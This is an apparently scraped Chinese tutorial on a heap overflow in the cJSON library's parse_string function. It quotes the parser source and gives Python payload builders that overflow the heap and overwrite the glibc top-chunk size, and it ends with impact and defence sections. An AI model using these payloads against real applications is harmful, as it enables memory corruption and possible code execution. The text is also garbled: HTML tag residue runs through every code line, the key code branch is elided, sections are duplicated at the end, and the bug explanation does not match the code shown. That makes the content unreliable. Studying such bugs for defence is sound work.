cJSON库堆溢出漏洞分析与利用教学<\/h1>

1. 漏洞概述<\/h2>
cJSON是一个轻量级的C语言JSON解析库，用于解析和生成JSON数据。在解析字符串时，`parse_string<\/code>函数存在堆溢出漏洞，攻击者可以通过精心构造的JSON数据触发该漏洞，实现内存破坏。<\/p>`

2. 漏洞原理分析<\/h2>
2.1 cJSON_Parse函数流程<\/h3>
cJSON *<\/span> cJSON_Parse<\/span>(const<\/span> char<\/span> *<\/span>value) {
<\/span><\/span>    return<\/span> cJSON_ParseWithOpts(value, 0<\/span>, 0<\/span>);
<\/span><\/span>}
<\/span><\/span>
<\/span><\/span>cJSON *<\/span> cJSON_ParseWithOpts<\/span>(const<\/span> char<\/span> *<\/span>value, const<\/span> char<\/span> **<\/span>return_parse_end, int<\/span> require_null_terminated) {
<\/span><\/span>    const<\/span> char<\/span> *<\/span>end =<\/span> 0<\/span>;
<\/span><\/span>    cJSON *<\/span>c =<\/span> cJSON_New_Item(); \/\/ 分配cJSON结构体
<\/span><\/span><\/span><\/span>    ep =<\/span> 0<\/span>;
<\/span><\/span>    if<\/span> (!<\/span>c) return<\/span> 0<\/span>;
<\/span><\/span>    end =<\/span> parse_value(c, skip(value)); \/\/ 解析JSON值
<\/span><\/span><\/span><\/span>    if<\/span> (!<\/span>end) {
<\/span><\/span>        cJSON_Delete(c);
<\/span><\/span>        return<\/span> 0<\/span>;
<\/span><\/span>    }
<\/span><\/span>    if<\/span> (require_null_terminated) {
<\/span><\/span>        end =<\/span> skip(end);
<\/span><\/span>        if<\/span> (*<\/span>end) {
<\/span><\/span>            cJSON_Delete(c);
<\/span><\/span>            ep =<\/span> end;
<\/span><\/span>            return<\/span> 0<\/span>;
<\/span><\/span>        }
<\/span><\/span>    }
<\/span><\/span>    if<\/span> (return_parse_end) *<\/span>return_parse_end =<\/span> end;
<\/span><\/span>    return<\/span> c;
<\/span><\/span>}
<\/span><\/span><\/code><\/pre>2.2 cJSON结构体<\/h3>
typedef<\/span> struct<\/span> cJSON {
<\/span><\/span>    struct<\/span> cJSON *<\/span>next, *<\/span>prev;  \/\/ 链表指针
<\/span><\/span><\/span><\/span>    struct<\/span> cJSON *<\/span>child;        \/\/ 子节点指针
<\/span><\/span><\/span><\/span>    int<\/span> type;                   \/\/ 数据类型
<\/span><\/span><\/span><\/span>    char<\/span> *<\/span>valuestring;         \/\/ 字符串值
<\/span><\/span><\/span><\/span>    int<\/span> valueint;               \/\/ 整数值
<\/span><\/span><\/span><\/span>    double<\/span> valuedouble;         \/\/ 浮点数值
<\/span><\/span><\/span><\/span>    char<\/span> *<\/span>string;              \/\/ 键名
<\/span><\/span><\/span><\/span>} cJSON;
<\/span><\/span><\/code><\/pre>2.3 parse_string函数漏洞点<\/h3>
static<\/span> const<\/span> char<\/span> *<\/span>parse_string<\/span>(cJSON *<\/span>item, const<\/span> char<\/span> *<\/span>str) {
<\/span><\/span>    const<\/span> char<\/span> *<\/span>ptr =<\/span> str +<\/span> 1<\/span>;
<\/span><\/span>    char<\/span> *<\/span>ptr2;
<\/span><\/span>    char<\/span> *<\/span>out;
<\/span><\/span>    int<\/span> len =<\/span> 0<\/span>;
<\/span><\/span>    unsigned<\/span> uc, uc2;
<\/span><\/span>    
<\/span><\/span>    if<\/span> (*<\/span>str !=<\/span> '\"'<\/span>) {
<\/span><\/span>        ep =<\/span> str;
<\/span><\/span>        return<\/span> 0<\/span>;
<\/span><\/span>    }
<\/span><\/span>    
<\/span><\/span>    \/\/ 计算字符串长度
<\/span><\/span><\/span><\/span>    while<\/span> (*<\/span>ptr !=<\/span> '\"'<\/span> &&<\/span> *<\/span>ptr &&<\/span> ++<\/span>len)
<\/span><\/span>        if<\/span> (*<\/span>ptr++<\/span> ==<\/span> '\\'<\/span>) ptr++<\/span>; \/\/ 跳过转义字符
<\/span><\/span><\/span><\/span>    
<\/span><\/span>    out =<\/span> (char<\/span> *<\/span>)cJSON_malloc(len +<\/span> 1<\/span>); \/\/ 分配内存
<\/span><\/span><\/span><\/span>    if<\/span> (!<\/span>out) return<\/span> 0<\/span>;
<\/span><\/span>    
<\/span><\/span>    ptr =<\/span> str +<\/span> 1<\/span>;
<\/span><\/span>    ptr2 =<\/span> out;
<\/span><\/span>    
<\/span><\/span>    while<\/span> (*<\/span>ptr !=<\/span> '\"'<\/span> &&<\/span> *<\/span>ptr) {
<\/span><\/span>        if<\/span> (*<\/span>ptr !=<\/span> '\\'<\/span>) {
<\/span><\/span>            *<\/span>ptr2++<\/span> =<\/span> *<\/span>ptr++<\/span>; \/\/ 普通字符直接复制
<\/span><\/span><\/span><\/span>        } else<\/span> { \/\/ 处理转义字符
<\/span><\/span><\/span><\/span>            ptr++<\/span>;
<\/span><\/span>            switch<\/span> (*<\/span>ptr) {
<\/span><\/span>                case<\/span> 'b'<\/span>:<\/span> *<\/span>ptr2++<\/span> =<\/span> '\b'<\/span>; break<\/span>;
<\/span><\/span>                case<\/span> 'f'<\/span>:<\/span> *<\/span>ptr2++<\/span> =<\/span> '\f'<\/span>; break<\/span>;
<\/span><\/span>                case<\/span> 'n'<\/span>:<\/span> *<\/span>ptr2++<\/span> =<\/span> '\n'<\/span>; break<\/span>;
<\/span><\/span>                case<\/span> 'r'<\/span>:<\/span> *<\/span>ptr2++<\/span> =<\/span> '\r'<\/span>; break<\/span>;
<\/span><\/span>                case<\/span> 't'<\/span>:<\/span> *<\/span>ptr2++<\/span> =<\/span> '\t'<\/span>; break<\/span>;
<\/span><\/span>                case<\/span> 'u'<\/span>:<\/span> \/\/ Unicode转义处理
<\/span><\/span><\/span><\/span>                    uc =<\/span> parse_hex4(ptr +<\/span> 1<\/span>);
<\/span><\/span>                    ptr +=<\/span> 4<\/span>;
<\/span><\/span>                    \/\/ 漏洞点：处理Unicode转义时可能跳过字符串结束符"
<\/span><\/span><\/span><\/span>                    \/\/ 导致后续写入超出分配的内存
<\/span><\/span><\/span><\/span>                    [...]
<\/span><\/span>                default<\/span>:<\/span> *<\/span>ptr2++<\/span> =<\/span> *<\/span>ptr; break<\/span>;
<\/span><\/span>            }
<\/span><\/span>            ptr++<\/span>;
<\/span><\/span>        }
<\/span><\/span>    }
<\/span><\/span>    *<\/span>ptr2 =<\/span> 0<\/span>;
<\/span><\/span>    if<\/span> (*<\/span>ptr ==<\/span> '\"'<\/span>) ptr++<\/span>;
<\/span><\/span>    item-><\/span>valuestring =<\/span> out;
<\/span><\/span>    item-><\/span>type =<\/span> cJSON_String;
<\/span><\/span>    return<\/span> ptr;
<\/span><\/span>}
<\/span><\/span><\/code><\/pre>漏洞关键点<\/strong>：<\/p>

在计算字符串长度时，遇到\u<\/code>转义会跳过4个字符<\/li>
如果这4个字符中包含字符串结束符"<\/code>，计算长度时会忽略它<\/li>
但在实际写入时，会继续写入直到遇到"<\/code>或\0<\/code><\/li>
导致写入数据可能超过分配的内存大小<\/li>
<\/ol>
3. 漏洞利用方法<\/h2>
3.1 基本利用原理<\/h3>
构造一个包含\u<\/code>转义的字符串，在转义序列中包含"<\/code>字符：<\/p>
"\u0022"  \/\/ 这是合法的Unicode转义，表示双引号
<\/code><\/pre>
精心构造的payload可以让解析器：<\/p>

在计算长度时忽略"<\/code>字符<\/li>
但在实际写入时继续写入后续数据<\/li>
导致堆溢出<\/li>
<\/ol>
3.2 利用代码示例<\/h3>
def<\/span> fake_string<\/span>(chunk_size, payload, overflow_data):
<\/span><\/span>    string =<\/span> b<\/span>'"'<\/span> +<\/span> payload.<\/span>ljust(chunk_size -<\/span> 2<\/span>, b<\/span>'<\/span>\x01<\/span>'<\/span>) +<\/span> b<\/span>"\u"<\/span>
<\/span><\/span>    string +=<\/span> b<\/span>'"'<\/span> +<\/span> b<\/span>'-'<\/span> *<\/span> 5<\/span>  # 包含"字符的Unicode转义<\/span>
<\/span><\/span>    string +=<\/span> overflow_data +<\/span> b<\/span>'"'<\/span>
<\/span><\/span>    return<\/span> string
<\/span><\/span>
<\/span><\/span># 构造恶意JSON数据<\/span>
<\/span><\/span>data_overflow =<\/span> b<\/span>'<\/span>\xff\xff\xff\xff\xff\xff\xff\xff<\/span>'<\/span>  # 覆盖size字段<\/span>
<\/span><\/span>data_overflow +=<\/span> b<\/span>'This_is_fake_data_to_chunk!!!!!'<\/span>
<\/span><\/span>fake_data =<\/span> fake_string(0x18<\/span>, b<\/span>'a'<\/span>, data_overflow)
<\/span><\/span><\/code><\/pre>3.3 利用场景<\/h3>

无限堆溢出<\/strong>：通过构造特定数据，可以持续写入直到遇到\0<\/code>或"<\/code><\/li>
修改top chunk大小<\/strong>：可以覆盖堆管理器的top chunk大小<\/li>
触发free<\/strong>：通过构造错误的JSON数据，可以触发cJSON释放已分配的内存<\/li>
<\/ol>
3.4 实际利用示例<\/h3>
# 修改top chunk的size<\/span>
<\/span><\/span>top_chunk_size =<\/span> b<\/span>'<\/span>\xf1\x08<\/span>'<\/span>
<\/span><\/span>fake_data_1 =<\/span> b<\/span>'"'<\/span> +<\/span> b<\/span>'a'<\/span> *<\/span> 0x16<\/span> +<\/span> b<\/span>"\u"<\/span> +<\/span> b<\/span>'"'<\/span> +<\/span> b<\/span>'-'<\/span> *<\/span> 5<\/span>
<\/span><\/span>fake_data_1 +=<\/span> top_chunk_size +<\/span> b<\/span>'"'<\/span>
<\/span><\/span><\/code><\/pre>4. 漏洞影响<\/h2>

可以导致堆内存破坏<\/li>
可能实现任意代码执行<\/li>
影响所有使用cJSON库解析不可信输入的应用程序<\/li>
<\/ol>
5. 防御措施<\/h2>

更新到最新版本的cJSON库<\/li>
对输入JSON数据进行严格验证<\/li>
使用沙箱环境运行JSON解析代码<\/li>
实现输入长度限制<\/li>
<\/ol>
6. 相关资源<\/h2>

cJSON GitHub仓库<\/a><\/li>
测试代码下载<\/a><\/li>
<\/ol>
7. 总结<\/h2>
cJSON库的parse_string<\/code>函数在处理Unicode转义字符时存在堆溢出漏洞，攻击者可以通过精心构造的JSON数据利用该漏洞。开发者应及时更新库版本，并对输入数据进行严格验证以防止此类漏洞被利用。<\/p>

cJSON库堆溢出漏洞分析与利用教学<\/h1>

1. 漏洞概述<\/h2> cJSON是一个轻量级的C语言JSON解析库，用于解析和生成JSON数据。在解析字符串时，parse_string<\/code>函数存在堆溢出漏洞，攻击者可以通过精心构造的JSON数据触发该漏洞，实现内存破坏。<\/p>

3. 漏洞利用方法<\/h2>

7. 总结<\/h2> cJSON库的parse_string<\/code>函数在处理Unicode转义字符时存在堆溢出漏洞，攻击者可以通过精心构造的JSON数据利用该漏洞。开发者应及时更新库版本，并对输入数据进行严格验证以防止此类漏洞被利用。<\/p>

1. 漏洞概述<\/h2>
cJSON是一个轻量级的C语言JSON解析库，用于解析和生成JSON数据。在解析字符串时，`parse_string<\/code>函数存在堆溢出漏洞，攻击者可以通过精心构造的JSON数据触发该漏洞，实现内存破坏。<\/p>`

7. 总结<\/h2>
cJSON库的`parse_string<\/code>函数在处理Unicode转义字符时存在堆溢出漏洞，攻击者可以通过精心构造的JSON数据利用该漏洞。开发者应及时更新库版本，并对输入数据进行严格验证以防止此类漏洞被利用。<\/p>`